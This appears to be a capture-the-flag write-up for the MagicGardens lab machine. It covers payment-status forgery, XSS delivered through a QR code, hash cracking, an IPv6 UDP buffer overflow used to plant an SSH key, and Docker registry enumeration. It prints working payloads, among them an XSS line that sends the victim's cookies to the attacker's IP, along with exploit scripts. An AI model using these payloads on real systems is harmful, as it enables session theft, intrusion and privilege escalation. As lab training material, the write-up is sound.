MagicGardens

Recon

nmap_scan.log

Add host

└─$ cat /etc/hosts | grep magic
10.10.11.9      magicgardens.htb

HTTP (80)

Seems to be hosting normal app

Writeup.png

We can register so might as well, Creds: test02:test02@magicgardens.htb:test02

We seem to be dealing with Python application

Writeup-1.png

We are given a weird sessionid token, it consists of 3 parts: django_session:something:something_else

>>> cookie = '.eJxrYJ2awwABtVM0ejhKi1OL8hJzU6f0sJWkFpcYGAEZxSWJJaXFU3o4gksS81ISi1Km9HCWZxZnxOdkFpdM6WGY0sMD5ibnl-aVpBZNyWDr4UxOLCqByAN5PGAeQrpUDwDa1ywo:1sHoOh:c8PrgDNvql0_ZpttWlqnlh0pbGff1A6z2mmq3UYgszg'
>>> pickle.loads(zlib.decompress(base64.urlsafe_b64decode(cookie)))
binascii.Error: Invalid base64-encoded string: number of data characters (185) cannot be 1 more than a multiple of 4

>>> cookie = '.eJxrYJ2awwABtVM0ejhKi1OL8hJzU6f0sJWkFpcYGAEZxSWJJaXFU3o4gksS81ISi1Km9HCWZxZnxOdkFpdM6WGY0sMD5ibnl-aVpBZNyWDr4UxOLCqByAN5PGAeQrpUDwDa1ywo'
>>> pickle.loads(zlib.decompress(base64.urlsafe_b64decode(cookie)))
{'username': 'test02', 'status': 'Standard', 'wish_list': '', 'wish_counter': '', 'cart_list': '', 'cart_counter': ''}

>>> def decode_cookie(cookie): return pickle.loads(zlib.decompress(base64.urlsafe_b64decode(cookie)))

Note: How to decode Django session

App is just like any regular store. What's odd is that we can buy and it says Success, we didn't setup any payment process or anything...

Payment

If we take a look at our profile we can find Subscription. Quick hover over banks gives us domains

Writeup-2.png
> document.querySelectorAll('input[name=bank]').forEach(bank => console.log(bank.value))  
honestbank.htb
magicalbank.htb
plunders.htb

/* /etc/hosts */
10.10.11.9	magicgardens.htb	honestbank.htb	magicalbank.htb	plunders.htb

Looks like we are unable to upgrade. Looking into the request bank variable is domain, meaning we could slip in our own server

Writeup-3.png

Premium

└─$ curl magicalbank.htb/api/payments -L
{"status": "405", "message": "Method Not Allowed"}

After some playing around with API it seemed like request should have had Content-Type of x-www-form-urlencoded, but it kept failing. Switching to get_json made the app respond in correct way. Also in the API request we see it returns status key which should indicate if our request was successful or not, modify the value and send it back.

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/', defaults={'path': '/'}, methods=['POST'])
@app.route('/<path:path>', methods=['POST'])
def catch_all(path):
    print('Path: ' + path)
    print('Headers:', request.headers)
    print('Body:', request.get_data(as_text=True))
    data = request.get_json()
    data.update({'status': '200'})
    return jsonify(data)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

# Path: api/payments/
#
# Headers: 
# Host: 10.10.16.75
# User-Agent: python-requests/2.31.0
# Accept-Encoding: gzip, deflate
# Accept: */*
# Connection: keep-alive
# Content-Length: 105
# Content-Type: application/json
#
# Body: {"cardname": "213", "cardnumber": "213", "expmonth": "312", "expyear": "321", "cvv": "213", "amount": 25}
# 
# 10.10.11.9 - - [13/Jun/2024 16:55:29] "POST /api/payments/ HTTP/1.1" 200 -
Writeup-4.png

Note: New user created test03

After we buy a product and after some time we get a message in inbox

Writeup-5.png

Decode QR, https://qrcode-decoder.com:

Writeup-6.png

Try XSS via QR code:

0a291f120e0dc2e51ad32a9303d50cac.0d341bcdc6746f1d452b3f4de32357b9.<img src=x onerror="this.src='http://10.10.16.75:8888/?'+document.cookie; this.removeAttribute('onerror');">
Writeup-7.png
└─$ py -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.9 - - [13/Jun/2024 17:31:26] "GET /?csrftoken=zx8fHJYOjjrq3yJjqDiQSq0nazqx2GxD;%20sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1sHs2X:505zzgsdOZckgmMTAF5Lgf2divO8KWht4mLkmpG3s_U HTTP/1.1" 200 -
^C

Change cookie and login as Morty.

Writeup-8.png

Since Morty is admin we can access the Django admin panel on /admin

Writeup-9.png

Get password

Writeup-10.png
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=

➜ .\hashcat.exe --show .\hashes
10000 | Django (PBKDF2-SHA256) | Framework

➜ .\hashcat.exe -m 10000 -a 0 .\hashes .\rockyou.txt
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers

SSH (21)

Using creds from Django we can SSH into the box.

Creds: morty:jonasbrothers

Get connections

morty@magicgardens:~$ ss -ltp4n # Listening TCP Processes IPv4 NoResolve
State                Recv-Q    Send-Q    Local Address:Port       Peer Address:Port     Process
LISTEN               0         4096          127.0.0.1:8000            0.0.0.0:*
LISTEN               0         4096          127.0.0.1:8080            0.0.0.0:*
LISTEN               0         1             127.0.0.1:45037           0.0.0.0:*        users:(("firefox-esr",pid=1847,fd=7))
LISTEN               0         5               0.0.0.0:1337            0.0.0.0:*
LISTEN               0         37            127.0.0.1:33949           0.0.0.0:*        users:(("firefox-esr",pid=1847,fd=54))
LISTEN               0         128           127.0.0.1:46235           0.0.0.0:*        users:(("geckodriver",pid=1841,fd=3))
LISTEN               0         4096            0.0.0.0:5000            0.0.0.0:*
LISTEN               0         511             0.0.0.0:80              0.0.0.0:*
LISTEN               0         100             0.0.0.0:25              0.0.0.0:*
LISTEN               0         128             0.0.0.0:22              0.0.0.0:*
LISTEN               0         4096          127.0.0.1:39093           0.0.0.0:*

Get processes

morty@magicgardens:~$ ps aux | grep -vE 'firefox|\[.*\]|nginx|system'
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 167792 12360 ?        Ss   00:00   0:04 /sbin/init
root         589  0.0  0.0   5740  3608 ?        Ss   00:00   0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         591  0.0  0.2  52348 11136 ?        Ss   00:00   0:00 /usr/bin/VGAuthService
root         592  0.1  0.3 241784 13804 ?        Ssl  00:00   0:31 /usr/bin/vmtoolsd
root         608  0.0  0.0  87496  3152 ?        D<sl 00:00   0:04 /sbin/auditd
_laurel      621  0.0  0.1   9076  5856 ?        D<   00:00   0:06 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root         746  0.0  0.0   6608  2656 ?        Ss   00:00   0:00 /usr/sbin/cron -f
root         756  0.0  0.0   8500  2636 ?        S    00:00   0:00 /usr/sbin/CRON -f
root         792  0.0  0.1  16520  5856 ?        Ss   00:00   0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root         799  0.0  0.0   2576   928 ?        Ss   00:00   0:00 /bin/sh -c sleep 90; su morty -c "/home/morty/bot/AI.py"
root         949  0.1  1.0 419420 40332 ?        Ssl  00:00   0:30 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root         957  0.0  0.0   5872  1068 tty1     Ss+  00:00   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root         959  0.1  1.2 1352708 49388 ?       Ssl  00:00   0:43 /usr/bin/containerd
root        1004  0.0  2.1 1827668 86512 ?       Ssl  00:00   0:06 /usr/sbin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1291  0.0  0.1  42656  4720 ?        Ss   00:00   0:00 /usr/lib/postfix/sbin/master -w
postfix     1293  0.0  0.1  42724  6752 ?        S    00:00   0:00 qmgr -l -t unix -u
root        1466  0.0  0.3 1156476 14832 ?       Sl   00:00   0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.17.0.2 -container-port 5000
root        1474  0.0  0.3 1156220 14912 ?       Sl   00:00   0:00 /usr/sbin/docker-proxy -proto tcp -host-ip :: -host-port 5000 -container-ip 172.17.0.2 -container-port 5000
root        1486  0.0  0.3 1156220 12912 ?       Sl   00:00   0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.17.0.3 -container-port 80
root        1501  0.0  0.3 1230208 14996 ?       Sl   00:00   0:02 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8000 -container-ip 172.17.0.4 -container-port 80
root        1532  0.0  0.5 1537316 23308 ?       Sl   00:00   0:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 5d8a4a8d74d5d394caa5cae249c3b8e4891ef51e0bd224e51b6e1f0568424a75 -address /run/containerd/containerd.sock
root        1533  0.0  0.6 1463840 27156 ?       Sl   00:00   0:05 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 5e5026ac6a81f68189fb0e561da1d2859273ded6886f58f9f4be6a22516c996d -address /run/containerd/containerd.sock
root        1534  0.0  0.5 1537316 22744 ?       Sl   00:00   0:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 60065b9f76ec42ab1a19b7454d6bf3f00b9abd3bee141b21205dd6229bb14698 -address /run/containerd/containerd.sock
root        1589  0.0  0.0   4344  3176 ?        Ss   00:00   0:00 /bin/bash ./entrypoint.sh
root        1590  0.0  0.0   4344  3144 ?        Ss   00:00   0:00 /bin/bash ./entrypoint.sh
root        1603  0.0  0.5 728512 22952 ?        Ssl  00:00   0:02 registry serve /etc/docker/registry/config.yml
alex        1743  0.0  0.0 168260  3080 ?        S    00:00   0:00 (sd-pam)
alex        1762  0.0  0.0   2464   880 ?        S    00:01   0:00 harvest server -l /home/alex/.harvest_logs
root        1766  0.0  0.4  28252 19008 ?        S    00:01   0:05 /usr/local/bin/python /usr/local/bin/gunicorn bank.wsgi:application --bind 0.0.0.0:8001 --daemon
root        1769  0.0  1.0  50384 40404 ?        S    00:01   0:01 /usr/local/bin/python /usr/local/bin/gunicorn bank.wsgi:application --bind 0.0.0.0:8001 --daemon
root        1774  0.0  0.4  28252 18876 ?        S    00:01   0:05 /usr/local/bin/python /usr/local/bin/gunicorn app.wsgi:application --bind 0.0.0.0:8001 --daemon
root        1777  0.1  1.7  90600 70240 ?        S    00:01   0:28 /usr/local/bin/python /usr/local/bin/gunicorn app.wsgi:application --bind 0.0.0.0:8001 --daemon
root        1816  0.0  0.0   8540  3836 ?        S    00:02   0:00 su morty -c /home/morty/bot/AI.py
morty       1819  0.0  0.0 168260  3084 ?        S    00:02   0:00 (sd-pam)
morty       1834  0.0  0.6  33708 25692 ?        Ss   00:02   0:03 /usr/bin/python3 /home/morty/bot/AI.py
morty       1835  0.0  0.1   9064  4788 ?        Sl   00:02   0:01 /usr/bin/geckodriver --port 45619 --websocket-port 34963
postfix     7179  0.0  0.1  42684  6672 ?        S    06:41   0:00 pickup -l -t unix -u -c
morty       7992  0.0  0.1  17652  6548 ?        S    07:41   0:00 sshd: morty@pts/0
morty       7993  0.0  0.0   7196  3904 pts/0    Ss   07:41   0:00 -bash
morty       8022  0.0  0.1  11216  4844 pts/0    R+   07:42   0:00 ps aux

First docker containers caught my eye and it seems like port 5000 is exposed.

└─$ nmap magicgardens.htb -p 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 07:45 EDT
Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.096s latency).

PORT     STATE SERVICE
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

Looks like RustScan missed this port. 5000 - Pentesting Docker Registry

Morty doesn't seem to have access on docker

└─$ curl -s magicgardens.htb:5000/v2/_catalog
Client sent an HTTP request to an HTTPS server.

└─$ curl -k https://magicgardens.htb:5000/v2/_catalog
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

└─$ curl -k -u morty:jonasbrothers https://magicgardens.htb:5000/v2/_catalog
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Harvest

There's another user on system alex and he has interesting program running

alex        1762  0.0  0.0   2464   880 ?        S    00:01   0:00 harvest server -l /home/alex/.harvest_logs
Writeup-11.png
morty@magicgardens:~$ ls -alh $(which harvest)
-rwxr-xr-x 1 root root 22K Sep 15  2023 /usr/local/bin/harvest

I wasn't able to find the program, so it must be closed source.

morty@magicgardens:~$ python3 -V
Python 3.11.2
morty@magicgardens:~$ which harvest
/usr/local/bin/harvest
morty@magicgardens:~$ cd /usr/local/bin/ 
morty@magicgardens:/usr/local/bin$ python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.10.16.75 - - [14/Jun/2024 07:59:24] "GET /harvest HTTP/1.1" 200 -

---

└─$ curl magicgardens.htb:4444/harvest -o harvest.elf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 22512  100 22512    0     0  36321      0 --:--:-- --:--:-- --:--:-- 36368

└─$ ghidra_auto --checksec harvest.elf
[*] File Ouput:
        ELF 64-bit LSB pie executable
        x86-64
        version 1 (SYSV)
        dynamically linked
        interpreter /lib64/ld-linux-x86-64.so.2
        BuildID[sha1]=13667f92f8314f1b726e07ce96dd2a4fad06df7f
        for GNU/Linux 3.2.0
        not stripped
[+] Pwntools Checksec:

[*] '/home/woyag/Desktop/Rooms/MagicGardens/harvest.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Running Analysis...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk version "21.0.2" 2024-01-16
OpenJDK Runtime Environment (build 21.0.2+13-Debian-2)
OpenJDK 64-Bit Server VM (build 21.0.2+13-Debian-2, mixed mode)
[+] Analysis Complete
[*] Opening Ghidra...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[*] Project Directory: /home/woyag/Desktop/Rooms/MagicGardens
[*] Project File: /home/woyag/Desktop/Rooms/MagicGardens/harvest.gpr

server mode fails due to raw socket fail because it should be ran with admin privileges. If client if forcefully disconnected the log file is not created.

I think we are interested into the handle_raw_packets function

Writeup-13.png
void handle_raw_packets(int sock_raw, undefined8 buffer_2048, char * log) {
  ssize_t bytes_recieved_counts;
  char * timeNow;
  char datetimeStr[8];
  undefined uStack_10072;
  time_t time_;
  char line2[32];
  char line1[32];
  byte buffer_raw, buffer_raw2, buffer_raw3, buffer_raw4, buffer_raw5, buffer_raw6,
	buffer_raw7, buffer_raw8, buffer_raw9, buffer_raw10, buffer_raw11, buffer_raw12;
  char buffer_big[65554];

  memset( & buffer_raw, 0, 65535);
  bytes_recieved_counts = recvfrom(sock_raw, & buffer_raw, 65535, 0, (sockaddr * ) 0x0, (socklen_t * ) 0x0);
  time_ = time((time_t * ) 0x0);
  timeNow = ctime( & time_);
  strncpy(datetimeStr, timeNow + 11, 8);
  uStack_10072 = 0;
  if ((uint) bytes_recieved_counts < 40) {
    puts("Incomplete packet ");
    close(sock_raw);
    /* WARNING: Subroutine does not return */
    exit(0);
  }
  sprintf(line1, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", (ulong) buffer_raw7, (ulong) buffer_raw8, (ulong) buffer_raw9, (ulong) buffer_raw10, (ulong) buffer_raw11, (ulong) buffer_raw12);
  sprintf(line2, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", (ulong) buffer_raw, (ulong) buffer_raw2, (ulong) buffer_raw3, (ulong) buffer_raw4, (ulong) buffer_raw5, (ulong) buffer_raw6);
  if (buffer_big[0] == 'E') {
    print_packet(buffer_big, log, buffer_2048, line1, line2, datetimeStr, &buffer_raw);
  }
  if (buffer_big[0] == '`') {
    log_packet(buffer_big, log);
  }
  return;
}

The log packet copies over the presumably log name, opens it and writes buffer to it.

int log_packet(long log_buffer, char *log) {
  uint16_t uVar1;
  char buffer [32680];
  char filename [40];
  FILE *fp;
  
  uVar1 = htons(*(uint16_t *)(log_buffer + 4));
  if (uVar1 != 0) {
    strcpy(filename,log);
    strncpy(buffer,(char *)(log_buffer + 60),(ulong)uVar1);
    *(undefined2 *)(buffer + uVar1) = L'\n';
    fp = fopen(filename,"w");
    if (fp == (FILE *)0x0) {
      puts("Bad log file");
    }
    else {
      fprintf(fp,buffer);
      fclose(fp);
      puts("[!] Suspicious activity. Packages have been logged.");
    }
  }
  return 0;
}

Since the program doesn't have Canary enabled, it smells like Buffer Overflow. Specifically if we can write to files somehow.

Start processes:

└─$ sudo ./harvest.elf server -i lo -l ./test.log # sudo required because of raw socket
└─$ ltrace ./harvest.elf client 127.0.0.1
/* Address families */
##define	AF_INET		2		/* internetwork: UDP, TCP, etc. */
...
/* Types */
##define	SOCK_STREAM	1		/* stream socket */

openbsd/src/sys/sys/socket.h

Writeup-14.png

Almost all socket calls are IPv4/TCP, but I wasn't able to get it to log into the file.

Testing IPv4/TCP returns [x] Handshake error

import socket

HOST = '127.0.0.1'  
PORT = 1337

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as io:
    io.connect((HOST, PORT))
    io.send(b'Hallo, this is a test message!')

Testing IPv4/UDP returns nothing

with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as io:

Testing IPv6/TCP returns ConnectionRefusedError: [Errno 111] Connection refused

import socket

HOST = '::1'  
PORT = 1337

with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as io:
    io.connect((HOST, PORT))
    io.send(b'Hallo, this is a test message!')

Testing IPv6/UDP returns [!] Suspicious activity. Packages have been logged.

with socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) as io:

So to introduce the buffer overflow we should send IPv6/UDP packet.

└─$ ps aux | grep harvest.elf
root      252387  0.0  0.1  17740  7028 pts/4    S+   16:04   0:00 sudo --preserve-env=HOME ./harvest.elf server -i lo -l ./test.log
root      252404  0.0  0.0  17740  2328 pts/6    Ss   16:04   0:00 sudo --preserve-env=HOME ./harvest.elf server -i lo -l ./test.log
root      252405  0.0  0.0   2488  1280 pts/6    S+   16:04   0:01 ./harvest.elf server -i lo -l ./test.log
woyag     252440  0.0  0.0   2480  1408 pts/3    S+   16:04   0:00 ./harvest.elf client 127.0.0.1
woyag     293103  0.0  0.0   6488  2176 pts/9    S+   17:21   0:00 grep --color=auto harvest.elf

└─$ sudo strace -s 100000 -p 252405 -e trace='!newfstatat,pselect6'
strace: Process 252405 attached
recvfrom(4, "\0\0\0\0\0\0\0\0\0\0\0\0\206\335`\t\6A\0&\21@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\2538\59\0&\09Hallo, this is a test message!", 65535, 0, NULL, NULL) = 92
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
write(6, "is a test message!", 18)      = 18
close(6)                                = 0
write(1, "[!] Suspicious activity. Packages have been logged.\n", 52) = 52
recvfrom(4, "\0\0\0\0\0\0\0\0\0\0\0\0\206\335`\t\6A\0&\21@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\2538\59\0&\09Hallo, this is a test message!", 65535, 0, NULL, NULL) = 92
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
write(6, "is a test message!", 18)      = 18
close(6)                                = 0
write(1, "[!] Suspicious activity. Packages have been logged.\n", 52) = 52
recvfrom(4, "\0\0\0\0\0\0\0\0\0\0\0\0\206\335`\1\27d\0V:@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\4\212\260\0\0\0\0`\t\6A\0&\21@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\2538\59\0&\09Hallo, this is a test message!", 65535, 0, NULL, NULL) = 140
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
close(6)                                = 0
write(1, "[!] Suspicious activity. Packages have been logged.\n", 52) = 52
recvfrom(4, "\0\0\0\0\0\0\0\0\0\0\0\0\206\335`\1\27d\0V:@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\4\212\260\0\0\0\0`\t\6A\0&\21@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\2538\59\0&\09Hallo, this is a test message!", 65535, 0, NULL, NULL) = 140
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
close(6)                                = 0
write(1, "[!] Suspicious activity. Packages have been logged.\n", 52) = 52
^Cstrace: Process 252405 detached

Buffer Overflow

After some manual testing with Starting Server, Starting Client, Attaching strace, Filtering For openat with fuzzer:

import socket
from pwn import cyclic

HOST = '::1'
PORT = 1337

with socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) as io:
    io.connect((HOST, PORT))
    io.send(cyclic(65390))
└─$ sudo strace -p 312210 -e trace=openat
strace: Process 312210 attached
openat(AT_FDCWD, "zqgazqhazqiazqjazq", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
openat(AT_FDCWD, "zqgazqhazqiazqjazq", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
^Cstrace: Process 312210 detached

└─$ cyclic -l zqgazqhazqiazqjazq
65372

The output file is overwritten with our content and offset is 65372

Privilege Escalation (alex)

Create ssh key:

└─$ ssh-keygen -f id_rsa
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:leRdB6O0d5scTTsS1G84nWUIawT/LJV527jMclvKx38 woyag@kraken
The keys randomart image is:
+--[ED25519 256]--+
|          o.=+=oo|
|         o * =oB=|
|          + B.=BB|
|         . . ===@|
|        S   . +B.|
|             + . |
|            . =..|
|             + +E|
|              +.+|
+----[SHA256]-----+
morty@magicgardens:/tmp$ cat privesc.py
import socket

HOST = '::1'
PORT = 1337

offset = 65372
pubkey = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9dpVzfJ3JdF7QriQJY4fR/PTDZXeQx0uhDYFVknbnl woyag@kraken'
padding = '\r' * (offset - len(pubkey) - 2) # Filler
output = '/home/alex/.ssh/authorized_keys'

with socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) as io:
    io.connect((HOST, PORT))
    io.send(f'{padding}\n{pubkey}\n{output}'.encode())

morty@magicgardens:/tmp$ harvest client 127.0.0.1 >/dev/null & python3 privesc.py
---
└─$ ssh alex@magicgardens.htb -i ssh/id_rsa
Enter passphrase for key 'ssh/id_rsa':
alex@magicgardens:~$

User.txt

alex@magicgardens:~$ cat user.txt
4d77da99befd8aca90f4a535770f96ea

SMTP (25)

The SMTP port is filtered on outside, but since we are inside we can take a look

alex@magicgardens:/var/mail$ ss -ltup4n | grep 25
tcp   LISTEN 0      100          0.0.0.0:25         0.0.0.0:*

alex@magicgardens:/var/mail$ ls -lah
total 48K
drwxrwsr-x  2 root mail 4.0K Jun 15 11:40 .
drwxr-xr-x 12 root root 4.0K Aug 23  2023 ..
-rw-------  1 alex mail 1.6K May 23 10:26 alex
-rw-------  1 root mail  32K Jun 15 11:40 root
alex@magicgardens:/var/mail$ cat alex
From root@magicgardens.magicgardens.htb  Fri Sep 29 09:31:49 2023
Return-Path: <root@magicgardens.magicgardens.htb>
X-Original-To: alex@magicgardens.magicgardens.htb
Delivered-To: alex@magicgardens.magicgardens.htb
Received: by magicgardens.magicgardens.htb (Postfix, from userid 0)
        id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178"
Subject: Auth file for docker
To: <alex@magicgardens.magicgardens.htb>
User-Agent: mail (GNU Mailutils 3.15)
Date: Fri, 29 Sep 2023 09:31:49 -0400
Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb>
From: root <root@magicgardens.magicgardens.htb>

--1804289383-1695994309=:37178
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb>

Use this file for registry configuration. The password is on your desk

--1804289383-1695994309=:37178
Content-Type: application/octet-stream; name="auth.zip"
Content-Disposition: attachment; filename="auth.zip"
Content-Transfer-Encoding: base64
Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb>

UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE
6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44S
q4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIe
AwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pG
ZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
--1804289383-1695994309=:37178--

Attachment is a zip file

└─$ cat alex.eml | base64 -d -i > auth.zip

└─$ unzip auth.zip
Archive:  auth.zip
[auth.zip] htpasswd password:
   skipping: htpasswd                incorrect password

Crack the password:

└─$ zip2john auth.zip | tee auth.hash
ver 1.0 efh 5455 efh 7875 auth.zip/htpasswd PKZIP Encr: 2b chk, TS_chk, cmplen=84, decmplen=72, crc=B238A674 ts=A86E cs=a86e type=0
auth.zip/htpasswd:$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd514dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$:htpasswd:auth.zip::auth.zip

➜ .\hashcat.exe --show .\hashes
...
	  # | Name                                                       | Category
  ======+============================================================+======================================
  17225 | PKZIP (Mixed Multi-File)                                   | Archive
  17210 | PKZIP (Uncompressed)                                       | Archive
...
➜ .\hashcat.exe -m 17225 -a 0 .\hashes .\rockyou.txt
hashcat (v6.2.6) starting
...
$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd5144dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$:realmadrid
...

Note: If you're passing john's hash to hashcat remove the filename. e.g.: auth.zip/htpasswd:

Unzip and see contents

└─$ unzip -P"realmadrid" auth.zip
Archive:  auth.zip
 extracting: htpasswd

└─$ cat htpasswd
AlexMiles:$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq

Crack the hash again

➜ .\hashcat.exe --show .\hashes
...
      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce
...
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=rockyou.txt --format=bcrypt .\hashes
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
diamonds         (?)
1g 0:00:00:00 DONE (2024-06-15 20:14) 3.731g/s 3761p/s 3761c/s 3761C/s blonde..mariel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Note: For some reason my Windows Hashcat instance cannot crack bcrypt, so that's why john is used.

Creds: AlexMiles:diamonds

Docker (5000)

The cracked password doesn't work on SSH. Other common service we saw with ss was docker, we could try enumerating the service.

Hacktricks, 5000 - Pentesting Docker Registry

└─$ curl -k -u AlexMiles:diamonds https://10.10.11.9:5000/v2/_catalog
{"repositories":["magicgardens.htb"]}

└─$ curl -k -u AlexMiles:diamonds https://10.10.11.9:5000/v2/magicgardens.htb/tags/list
{"name":"magicgardens.htb","tags":["1.3"]}

└─$ cat manifest | jq '.fsLayers.[].blobSum' | head -5
